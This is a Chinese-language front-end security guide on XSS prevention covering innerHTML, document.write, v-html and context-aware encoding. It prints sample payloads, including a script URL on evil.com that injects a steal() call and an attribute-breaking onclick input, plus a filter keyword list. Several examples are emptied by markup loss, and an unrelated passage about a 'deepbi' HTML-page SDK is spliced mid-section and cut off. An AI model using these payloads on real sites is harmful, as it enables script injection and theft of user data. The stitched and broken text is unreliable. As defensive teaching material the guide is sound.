innerHTML 直接拼接用户输入必然导致 XSS,浏览器不区分文本与脚本;应优先用 textContent,必要时用 DOMPurify 清洗 HTML;document.write 已废弃且极度危险;v-html 等“逃生舱口”需严格管控来源与过滤。

innerHTML 直接拼接用户输入必出事
只要把 userInput 往 innerHTML 里一塞,XSS 就算坐实了。浏览器不区分“你想显示的文本”还是“你写的脚本”,它只认标签和事件属性。
常见错误写法:el.innerHTML = '
哪怕 userInput 是 ,也会触发执行——onerror 不依赖 <script></script> 标签,照样绕过多数基础过滤。
安全替代方案:
- 用
textContent替代,纯文本输出,完全不解析 HTML - 若必须渲染 HTML(如富文本编辑器),先用 DOMPurify 等库做白名单清洗,而不是自己正则替换
- 避免在 URL 参数、表单值、localStorage 读取后直接进
innerHTML,这些全是高危入口
document.write 已被现代框架弃用,别碰
document.write 在页面加载完成后调用会清空整个文档,且同样无条件执行脚本。Chrome 早已在 defer/script async 场景下警告其危险性,Safari 则直接抛错。
典型翻车现场:document.write('<script src="'%20+%20userControlledUrl%20+%20'"></script>')
攻击者只要让 userControlledUrl 变成 https://evil.com/xss.js?x="><script>steal();</script>,就能提前闭合属性并注入脚本。
正确做法:
生成可在 deepbi 沙箱 iframe 内运行或作为独立文件运行的交互式 HTML 页面,使用 `window.deepbi` JS SDK 实现数据查询、空间管理、文件浏览及用户操作。当用户提出以下需求时启用该能力: - 创建 KPI 仪表盘、数据表格、文件浏览器、成员列表、管理页面; - 明确要求“转成 dhtml”、“转译成 HTML”、“把 XX 页面转成……”、“控制台页面”、“管理后台”、“DeepBI 页面迁移”; - 提及位于 `apps/console/src/featur
- 用
document.createElement+appendChild动态加脚本,URL 先校验协议和域名 - 动态加载资源优先走
fetch+eval(极慎)或import()(ESM 模块) - 所有涉及
document.write的老代码,应列为高危项,安排迁移
模板引擎里的 v-html 和 dangerouslySetInnerHTML 是双刃剑
Vue 的 v-html、React 的 dangerouslySetInnerHTML 这类 API,本质是绕过框架默认转义机制的“逃生舱口”。一旦用了,就等于主动放弃一层防护。
常见误用场景:
- 把用户评论、搜索关键词、URL 参数原样传给
v-html - 以为“我只用了 Vue,所以安全”,却忘了
v-html下的内容不受 Vue 转义保护 - 后端返回的 HTML 片段未清洗,前端直接
v-html渲染
必须满足以下任一条件才可考虑使用:
- 内容来源绝对可信(如 CMS 后台管理员发布、且有独立 XSS 审计流程)
- 内容已由服务端用 DOMPurify 或类似工具做过白名单过滤(不是简单 replace)
- 前端额外加了一层运行时检查,比如拦截含
javascript:、onerror、data:等敏感词的字符串
HTML 实体编码不是万能解药,得看上下文
把 替换成 对防止反射型 XSS 有效,但只适用于“输出到 HTML 文本节点”的场景。一旦进入属性值、JavaScript 字符串、CSS 或 URL 上下文,编码规则完全不同。
例如:
用户输入:" onclick="alert(1)
如果只做 HTML 实体编码,变成:" onclick="alert(1)",仍会触发 onclick。
关键判断点:
- 输出位置决定编码方式:HTML body → HTML 实体;
href属性 → URL 编码;onclick里 → JavaScript 字符串转义 - 不要自己手写
escapeHtml函数去“一锅炖”,不同上下文需不同处理逻辑 - 优先使用框架内置能力(如 React JSX 插值自动转义)或专用库(如 js-xss、DOMPurify),而非 DIY 过滤
最常被忽略的一点:前后端都做了编码,但编码层级不一致(比如后端转义了一次,前端又转一次),反而导致双重编码、显示异常甚至绕过防护。编码动作必须明确发生在“最后一次输出前”,且仅一次。
前端入门到VUE实战笔记:立即使用
在学习笔记中,你将探索 前端 的入门与实战技巧!










